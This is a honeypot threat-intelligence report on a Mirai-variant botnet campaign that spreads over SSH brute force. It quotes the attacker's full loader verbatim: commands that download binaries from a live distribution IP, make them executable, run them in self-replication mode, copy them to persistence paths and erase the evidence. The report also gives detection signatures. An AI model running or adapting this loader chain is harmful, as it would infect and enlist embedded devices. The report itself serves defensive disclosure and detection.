OHSHIT botnet campaign

Executive summary

Most Mirai botnets stick to a handful of common CPU architectures: ARM, MIPS, x86. This one does not. Over a month of sustained SSH brute-forcing against the cowrAI honeypot fleet, its operator has compiled and distributed working binaries for at least 14 architectures, several of which almost never turn up in Mirai campaigns. That breadth, paired with a crude and distinctive naming style, is what makes this campaign worth documenting in detail.

Beginning 2026-05-21, cowrAI sensors began observing a sustained SSH brute-force campaign distributing Mirai-family binaries from 192.142.28.77 via the path /bachekuni/. The campaign remains active as of 2026-06-23, 34 days and counting, and has touched sensors across the distributed honeypot fleet in multiple geographic regions.

What distinguishes this campaign from typical Mirai drops is its exceptional architecture coverage. The operator has compiled and maintains binaries for at least 14 CPU architectures, including unusual targets such as Renesas SH4, SPARC, Motorola m68k, PowerPC, and ARC that aren't commonly seen in Mirai variant distribution. For each architecture, the loader attempts download via four different tools in sequence (wget → busybox wget → curl → busybox curl), with simultaneous execution from three filesystem locations to maximize persistence on embedded Linux environments.

Behavioral analysis of the ARM7 sample confirms C2 communication to the domain genddos.st, a DDoS-for-hire C2 indicator. Watchdog modification (to prevent reboots from clearing the infection) and system binary writes were observed in-sandbox. VirusTotal detects 29–41/61–64 engines across submitted samples, classified as Mirai/FEBO and Mirai/GAFGYT lineages (the x86-64 sample is a partial outlier, tagged Ladvix alongside the Mirai family tag by our triage pipeline).

Threat actor profile

Infrastructure

Notably, the distribution server (192.142.28.77) doubles as a scanner, generating 1,598 of the 4,334 observed events directly. The open-directory probe most recently confirmed Apache/2.4.68 on Ubuntu (2026-07-02; server software has been patched since initial capture — the version reported here reflects the latest re-check, not the original 2026-06-14 snapshot) and 2 items accessible at the directory root. The distribution server also hosts secondary payloads at /cumshotnews (shell script, 7 VT detections) and /routereater (shell script, 777 bytes).

Loader analysis

The loader is a multi-stage shell sequence executed after SSH login, captured verbatim by our sensors. Each architecture follows the same four-phase pattern: download → chmod → execute → cleanup, with the execution step attempting three filesystem locations for persistence.

# Phase 1: Download — four-tool fallback chain, all errors suppressed
wget -q -O ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips 2>/dev/null || \
  busybox wget -q -O ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips 2>/dev/null || \
  curl -fsSL -o ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips 2>/dev/null || \
  busybox curl -fsSL -o ohshit.mips http://192.142.28.77/bachekuni/ohshit.mips 2>/dev/null

# Phase 2: Mark executable — tries both native and busybox chmod
chmod +x ohshit.mips 2>/dev/null; busybox chmod +x ohshit.mips 2>/dev/null

# Phase 3: Execute with multi-path persistence
#   3a. Direct execution from CWD
./ohshit.mips routers 2>/dev/null; \
#   3b. Copy to /dev/shm — RAM-backed, survives filesystem remount
  cp ohshit.mips /dev/shm/ohshit.mips 2>/dev/null && \
  chmod +x /dev/shm/ohshit.mips 2>/dev/null && \
  /dev/shm/ohshit.mips routers 2>/dev/null; \
#   3c. Copy to /var — persistent storage fallback
  cp ohshit.mips /var/ohshit.mips 2>/dev/null && \
  chmod +x /var/ohshit.mips 2>/dev/null && \
  /var/ohshit.mips routers 2>/dev/null; \
#   3d. Interpreter fallback — sh/busybox sh if exec bit failed
  busybox sh ohshit.mips routers 2>/dev/null; \
  sh ohshit.mips routers 2>/dev/null

# Phase 4: Cleanup — attempt to remove evidence from all locations
rm -f ohshit.mips /dev/shm/ohshit.mips /var/ohshit.mips 2>/dev/null

The routers argument is a Mirai self-replication mode indicator, confirming the binary will attempt to propagate by SSH/Telnet scanning once running. The operator repeats this entire sequence for each of the 14+ architectures in a single session, ensuring the binary that matches the target's CPU will execute.

Architecture coverage

The table below lists every captured variant, including the rare architectures called out in the executive summary above. This is among the broadest architecture coverage documented in a single Mirai campaign.

⚑ Unusual architecture rarely seen in Mirai campaigns. ★ ARM7 had successful behavioral sandbox run (genddos.st C2 observed).

Malware analysis

rule Mirai_SPARC  { /* fired on 69e3b714... (SPARC) */ }
rule Mirai_ARM    { /* fired on 8d5eec24... (ARM7) */ }

The SPARC binary (ohshit.spc) could not be executed in any of the tria.ge sandbox environments (amd64, armhf, mipsel, mips) — exec format error on all. This is expected: tria.ge has no SPARC sandbox. Static analysis still fired the Mirai_SPARC YARA rule, confirming Mirai code structure. This is a reminder that rare-arch malware is effectively sandbox-immune in most analysis environments.

MITRE ATT&CK

Timeline

Indicators of compromise

Detection signatures

alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"cowrAI OHSHIT Botnet — Binary Download from bachekuni path";
  flow:established,to_server;
  http.uri; content:"/bachekuni/ohshit."; startswith;
  classtype:trojan-activity; sid:9100110; rev:1;
)

alert dns $HOME_NET any -> any 53 (
  msg:"cowrAI OHSHIT Botnet — C2 Domain genddos.st";
  dns.query; content:"genddos.st"; endswith; nocase;
  classtype:trojan-activity; sid:9100111; rev:1;
)

alert ip any any -> 192.142.28.77 any (
  msg:"cowrAI OHSHIT Botnet — Outbound to Distribution/C2 Host";
  classtype:trojan-activity; sid:9100112; rev:1;
)

alert http $HOME_NET any -> $EXTERNAL_NET any (
  msg:"cowrAI OHSHIT Loader — Multi-arch download chain pattern";
  flow:established,to_server;
  http.uri; pcre:"/\/bachekuni\/ohshit\.[a-z0-9_]+$/";
  classtype:trojan-activity; sid:9100113; rev:1;
)

rule OHSHIT_Botnet_Loader {
    meta:
        description = "OHSHIT botnet Mirai variant — multi-arch distribution"
        author      = "cowrAI honeypot fleet"
        date        = "2026-06-23"
        tlp         = "CLEAR"
    strings:
        $url1   = "192.142.28.77/bachekuni/" ascii
        $path1  = "/dev/shm/ohshit" ascii
        $path2  = "/var/ohshit" ascii
        $arg1   = "routers" ascii
        $c2     = "genddos.st" ascii
    condition:
        any of them
}

grep -E '(bachekuni|ohshit\.(arm|mips|arc|spc|sh4|m68k|ppc|x86)|genddos\.st)'

Collection methodology

Data collected by the cowrAI distributed honeypot fleet, deployed across multiple hosting providers in Europe, North America, and Asia-Pacific, operating in SSH/Telnet capture mode with LLM-backend engagement and alt-protocol lures.

Event collection: every executed shell command is logged in full. Each session is indexed in a time-series event store. This report covers 4,334 events matching bachekuni or ohshit patterns, plus events from 192.142.28.77.

Sample collection: cowrAI's chase-runner extracts dropper URLs from captured commands, fetches binaries (with 64-URL cap per session), computes SHA256, and stores in R2. Each unique sample is automatically submitted to VirusTotal and tria.ge. The 14+ binary variants documented here were all captured via the chase pipeline from commands observed in sensor sessions.

Behavioral analysis: ARM7 sample (8d5eec24…) executed successfully in tria.ge's Debian 12 ARM sandbox, producing the C2 connection to genddos.st and behavioral signatures. SPARC, m68k, PowerPC, and SH4 samples could not be executed in any available sandbox environment — exec format error (no matching sandbox arch). Static YARA analysis still fired on all samples.